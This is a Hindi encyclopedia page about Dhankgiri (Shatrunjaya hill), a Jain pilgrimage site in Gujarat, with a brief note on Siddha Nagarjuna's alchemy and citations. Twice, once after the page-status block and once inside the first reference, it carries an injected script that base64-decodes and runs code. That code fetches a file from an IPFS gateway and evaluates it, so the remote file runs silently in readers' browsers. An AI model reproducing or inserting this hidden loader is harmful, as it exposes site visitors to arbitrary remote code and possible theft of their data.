एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

ढंकगिरि

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ढंकगिरि गुजरात में स्थित शत्रुंजय पर्वत का ही एक नाम है। यह गुजरात के प्रसिद्ध प्राचीन नगर वल्लभीपुर के निकट स्थित है और जैन धर्म के मानने वालों का पवित्र तीर्थ स्थान है।[1]

  • सातवाहन के गुरु और पादलिप्त सूर के शिष्य सिद्ध नागार्जुन ढंकागिरि में रहकर 'रस विद्या' या 'अलकीमिया' की साधना किया करते थे। इस तथ्य का उल्लेख जैन ग्रंथ 'विविध तीर्थ कल्प'[2] में है-

'ढंक पव्वए रायसी हराय उत्तस्स भोपाल नामियं धुअं रूप लावव्ण संपन्नं दठठूणं जायाणुरास्स तं सेवमाणस्स वासु गिणोपूत्तोनागाज्जुणो नाम जाओ।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 383 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 'विविध तीर्थ कल्प'- पृ. 104

संबंधित लेख